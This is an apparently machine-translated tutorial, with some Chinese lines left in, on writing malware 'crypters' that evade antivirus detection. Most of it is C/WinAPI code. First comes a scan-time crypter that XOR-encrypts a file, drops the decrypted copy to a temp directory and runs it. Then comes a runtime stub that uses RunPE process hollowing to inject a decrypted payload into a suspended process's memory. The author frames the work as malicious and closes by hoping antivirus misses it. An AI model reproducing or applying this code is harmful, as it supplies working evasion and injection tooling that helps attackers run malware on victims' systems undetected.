I have always believed that in the world of ***, encryption technology is a very mysterious art, a very obscure thing, we can search for information to conduct research. Of course, it has become very common in the *** world, especially in 2013 and 2014 launched Veil-Evasion and shellter tools. In this article, I will introduce in detail the types of encryption tools and their working principles at the bottom, and then show some little-known techniques at the low-level code level. After reading this article, I hope everyone will eventually have a certain degree of understanding of the working principle of these gadgets and their status and role in the computer world.
This article involves practical exercises on knowledge points: RC4 encryption experiment (through this experiment, understand RC4 encryption technology)
To make a statement: some materials may not be suitable for beginners, because they require considerable knowledge of the underlying Windows. Including many of the following technologies.
掌握 C/C++
熟悉WinAPI 和对应的文档
熟悉基础的加密知识
熟悉PE文件的结构
熟悉 Windows 虚拟内存
熟悉进程和线程
Two aspects of cryptography
When we talk about the impression of cryptography, we often think "this is a means of processing information to prevent information from being leaked." Most of us regard it as a defense mechanism, and the purpose of its application is to ensure the safety of information and prevent malicious attacks. Of course, we know this very well, because it was invented for the sole purpose of protecting data. However, as we will soon see, the functions of cryptography are much more than that.
If we use traditional cryptography to carry out malicious attacks, we design malicious software to take advantage of the advantages provided by cryptography. These types of malicious software have become very common in modern times, including ransomware and asymmetric backdoors. They mainly involve public key cryptography.
Anti-virus mechanism
In order to be able to design a way to bypass antivirus software, we must first understand the antivirus method of the antivirus software. I will briefly introduce the two main methods used by anti-virus software to detect applications.
Signature-based detection
As the name implies, signature-based detection is a technology that cross-references and matches the signature of an application with the corresponding database of known malware. This is an effective measure to prevent and contain malicious software that has appeared before.
Based on heuristic detection
Although signature-based detection can prevent most previously known malware, it also has disadvantages because malware authors can add protective measures to this method, such as the use of polymorphism and deformed code. Heuristic-based detection monitors the behavior and characteristics of applications and matches them with known malicious behaviors. Please note that this detection is only performed when the application is running.
Of course, antivirus software is much more advanced than this. Since this is beyond the scope of the article and beyond the scope of my understanding, this information will not be involved here.
Introduction to Encryption Technology
Encryptor is software designed to protect the internal information of a file, and after execution, it can provide the information completely after being extracted with a decryption program. Please note that although the encryptor can be used for malicious purposes, it is also mainly used to obfuscate data and prevent reverse engineering of software. In this article, we will focus on malicious use cases. So, how does this work? Let us first understand the various parts of the cipher and see what they do.
The encryptor is responsible for encrypting the target object.
+-------------+ +-----------+ +-------------------+ +--------+
| Your file | -> | Crypter | => | Encrypted file | + | Stub |
+-------------+ +-----------+ +-------------------+ +--------+
+------------------+ +--------+ +---------------+
| Encrypted file | + | Stub | = Execution => | Original File |
+------------------+ +--------+ +---------------+
Encryptor while scanning
These types of encryptors are called scan-time encryptors because they can encrypt data on the disk. Antivirus software can scan files, such as signature-based detection. At this stage, as long as the obfuscation technology applied is powerful enough, the anti-virus software will never be able to detect any malicious activity.
Runtime encryptor
These encryptors take the encryption technology to a new level and can encrypt data as needed while running in memory. By doing so, the malware can be loaded and executed before the antivirus software reacts. At this stage, an application can quickly run its payload and reach its goal. However, it is entirely possible for malware to trigger anti-virus software's heuristic-based detection strategy during the execution phase, so malware authors should be careful.
Now that we have introduced the high-level content, let's look at examples of these two types.
Write scan time encryptor
The encryptor is the simpler of the two when scanning, because it does not require knowledge of virtual memory and processes/threads. Essentially, the stub processes the file, puts it somewhere on the disk, and executes it. The following records the design of an encryptor during scanning.
Note: For brevity and readability, the content will not include error checking.
Encryptor and stub pseudo code
1.检查是否有命令行参数
+-> 2. 如果有命令行参数,则作为加密器对文件进行加密处理
| 3. 打开目标文件
| 4. 读取文件内容
| 5. 对文件内容进行加密
| 6. 创建一个新文件
| 7. 将加密后的文件写入新文件
| 8. 結束
|
+-> 2. 如果没有命令行参数,则作为stub
3. 打开加密文件
4. 读取文件内容
5. 解密文件内容
6. 创建一个临时文件
7. 将解密后的内容写入临时文件
8. 执行文件
9. 完成
This design scheme implements both the encryptor and the stub in the same executable file. We can do this because the two operations are very similar. Let's use the code to introduce the design scheme.
First, we need to define main and two conditions. These two conditions define whether to execute the encryptor or the stub.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
} else {
// crypter routine
}
return EXIT_SUCCESS;
}
Since we designed the application as a window application, we cannot retrieve argc and argv as usual in console-based applications, but Microsoft provides a solution using argc and argv. If the command line parameter __argv[1] exists, the application will try to encrypt the specified file, otherwise, it will try to decrypt an encrypted file.
Next is the encryption program. We need __argv[1] to specify the handle of the file and its size, so that we can copy its bytes into a buffer for encryption.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
} else {
// crypter routine
// open file to crypt
HANDLE hFile = CreateFile(__argv[1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// get file size
DWORD dwFileSize = GetFileSize(hFile, NULL);
// crypt and get crypted bytes
LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
}
return EXIT_SUCCESS;
}
The Crypt function is mainly to read the contents of the file into a buffer, then encrypt it, and then return a pointer to the buffer.
LPVOID Crypt(HANDLE hFile, DWORD dwFileSize) {
// allocate buffer for file contents
LPVOID lpFileBytes = malloc(dwFileSize);
// read the file into the buffer
ReadFile(hFile, lpFileBytes, dwFileSize, NULL, NULL);
// apply XOR encryption
int i;
for (i = 0; i < dwFileSize; i++) {
*((LPBYTE)lpFileBytes + i) ^= Key[i % sizeof(Key)];
}
return lpFileBytes;
}
Now that we have the encrypted bytes, we need to create a new file and then write these bytes into it.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
} else {
// crypter routine
...
// get crypted file name in current directory
CHAR szCryptedFileName[MAX_PATH];
GetCurrentDirectory(MAX_PATH, szCryptedFileName);
strcat(szCryptedFileName, "\\");
strcat(szCryptedFileName, CRYPTED_FILE);
// open handle to new crypted file
HANDLE hCryptedFile = CreateFile(szCryptedFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// write to crypted file
WriteFile(hCryptedFile, lpFileBytes, dwFileSize, NULL, NULL);
CloseHandle(hCryptedFile);
free(lpFileBytes);
}
return EXIT_SUCCESS;
}
That's almost all the encryptor part. Note that we used a simple XOR to encrypt the content of the file. If we can get the key, the security of this scheme may not be enough. If we want to be more secure, we can use other encryption schemes, such as RC4 or (x)TEA. We don't need a complete encryption algorithm, because our purpose is to avoid signature-based detection, so doing so is completely overkill. Keeping the files small and simple is the most important.
Let us continue into the stub routine. For the stub program, we need to retrieve the encrypted file in the current directory, and then write the decrypted content into a temporary file for execution.
We must first get the current file to be processed, and then open the file to get the file size.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
// get target encrypted file
CHAR szEncryptedFileName[MAX_PATH];
GetCurrentDirectory(MAX_PATH, szEncryptedFileName);
strcat(szEncryptedFileName, "\\");
strcat(szEncryptedFileName, CRYPTED_FILE);
// get handle to file
HANDLE hFile = CreateFile(szEncryptedFileName, FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
// get file size
DWORD dwFileSize = GetFileSize(hFile, NULL);
} else {
// crypter routine
}
return EXIT_SUCCESS;
}
Similar to the encryptor routine. Next, we have to read the contents of the file and get the decrypted bytes. Since the XOR operation restores the value of the given public bit, we can simply reuse the Crypt function. After that, we need to create a temporary file and write the decrypted bytes into it.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
...
// decrypt and obtain decrypted bytes
LPVOID lpFileBytes = Crypt(hFile, dwFileSize);
CloseHandle(hFile);
// get file in temporary directory
CHAR szTempFileName[MAX_PATH];
GetTempPath(MAX_PATH, szTempFileName);
strcat(szTempFileName, DECRYPTED_FILE);
// open handle to temp file
HANDLE hTempFile = CreateFile(szTempFileName, FILE_WRITE_ACCESS, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// write to temporary file
WriteFile(hTempFile, lpFileBytes, dwFileSize, NULL, NULL);
// clean up
CloseHandle(hTempFile);
free(lpFileBytes);
} else {
// crypter routine
}
return EXIT_SUCCESS;
}
Finally, we need to execute the decrypted application.
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
if (__argc < 2) {
// stub routine
...
// execute file
ShellExecute(NULL, NULL, szTempFileName, NULL, NULL, 0);
} else {
// crypter routine
}
return EXIT_SUCCESS;
}
Please note that once the decrypted application is written to the disk, it is likely to be detected by the signature-based detection method of anti-virus software, so it is possible to catch most malware. Because of this, malware authors need to write functions that their application can perform even in this situation.
The encryptor ends here when scanning.
Write a runtime encryptor
For the runtime encryptor, my article only covers stubs, because it also includes more complex processes, so we will assume that the application is already encrypted. These encryptors use a popular technology called RunPE. Its working principle is that the stub decrypts the encrypted bytes of the application first, then simulates the Windows loader and pushes them to the virtual memory space of the suspended process. After this process is completed, the stub will resume the suspended process.
Note: For brevity and readability, I will not include error checking.
stub pseudo code
1. Decrypt application
2. Create suspended process
3. Preserve process's thread context
4. Hollow out process's virtual memory space
5. Allocate virtual memory
6. Write application's header and sections into allocated memory
7. Set modified thread context
8. Resume process
9. Finish
We can see that this requires considerable knowledge of Windows internals, including knowledge of PE file structure, Windows memory operations, and processes/threads. I strongly recommend that readers understand the following materials based on this knowledge.
First, let us set up two routines in main, one for decrypting the encrypted application, and the other for loading it into memory for execution.
APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
Decrypt();
RunPE();
return EXIT_SUCCESS;
}
The implementation of the Decrypt function completely depends on the encryption method used for the application. Here is a sample code using XOR.
VOID Decrypt(VOID) {
int i;
for (i = 0; i < sizeof(Shellcode); i++) {
Shellcode[i] ^= Key[i % sizeof(Key)];
}
}
Now that the application has been decrypted, let's take a look at the magic. Here, we verify whether the application is a valid PE file by checking the DOS and PE signatures.
VOID RunPE(VOID) {
// check valid DOS signature
PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)Shellcode;
if (pidh->e_magic != IMAGE_DOS_SIGNATURE) return;
// check valid PE signature
PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)Shellcode + pidh->e_lfanew);
if (pinh->Signature != IMAGE_NT_SIGNATURE) return;
}
Now, we will create the suspended process.
VOID RunPE(VOID) {
...
// get own full file name
CHAR szFileName[MAX_PATH];
GetModuleFileName(NULL, szFileName, MAX_PATH);
// initialize startup and process information
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
// required to set size of si.cb before use
si.cb = sizeof(si);
// create suspended process
CreateProcess(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
}
Note that szFileName can be the full path of any executable file, such as explorer.exe or iexplore.exe, but in this example, we will use the stub file. The CreateProcess function will create a child process of a specified file in a suspended state, so that we can modify its virtual memory content according to our needs.
VOID RunPE(VOID) {
...
// obtain thread context
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.Thread, &ctx);
}
Now we clear the virtual memory area of the process so that we can allocate our own running space for the application. To do this, we need a function, and this function is not ready for us, so we need a function pointer to a function that dynamically retrieves content from the ntdll.dll file.
typedef NTSTATUS (*fZwUnmapViewOfSection)(HANDLE, PVOID);
VOID RunPE(VOID) {
...
// dynamically retrieve ZwUnmapViewOfSection function from ntdll.dll
fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
// hollow process at virtual memory address 'pinh->OptionalHeader.ImageBase'
pZwUnMapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);
// allocate virtual memory at address 'pinh->OptionalHeader.ImageBase' of size `pinh->OptionalHeader.SizeofImage` with RWX permissions
LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
Since the suspended process has its own content in its virtual memory space, we need to unmap it from the memory and then allocate our own content so that we have access rights to load the image of our application. We will achieve this through the WriteProcessMemory function. First, we need to write the header file first, like a Windows loader, and then write each part separately. This part requires a comprehensive understanding of the PE file structure.
VOID RunPE(VOID) {
...
// write header
WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, Shellcode, pinh->OptionalHeader.SizeOfHeaders, NULL);
// write each section
int i;
for (i = 0; i < pinh->FileHeader.NumberOfSections; i++) {
// calculate and get ith section
PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)((DWORD)Shellcode + pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * i);
// write section data
WriteProcessMemory(pi.hProcess, (LPVOID)(lpBaseAddress + pish->VirtualAddress), (LPVOID)((DWORD)Shellcode + pish->PointerToRawData), pish->SizeOfRawData, NULL);
}
}
Now that everything is ready, we only need to modify the entry point address of the context, and then resume the suspended thread.
VOID RunPE(VOID) {
...
// set appropriate address of entry point
ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
// resume and execute our application
ResumeThread(pi.hThread);
}
Now that the application has started to run in memory, I hope the antivirus software will not detect it.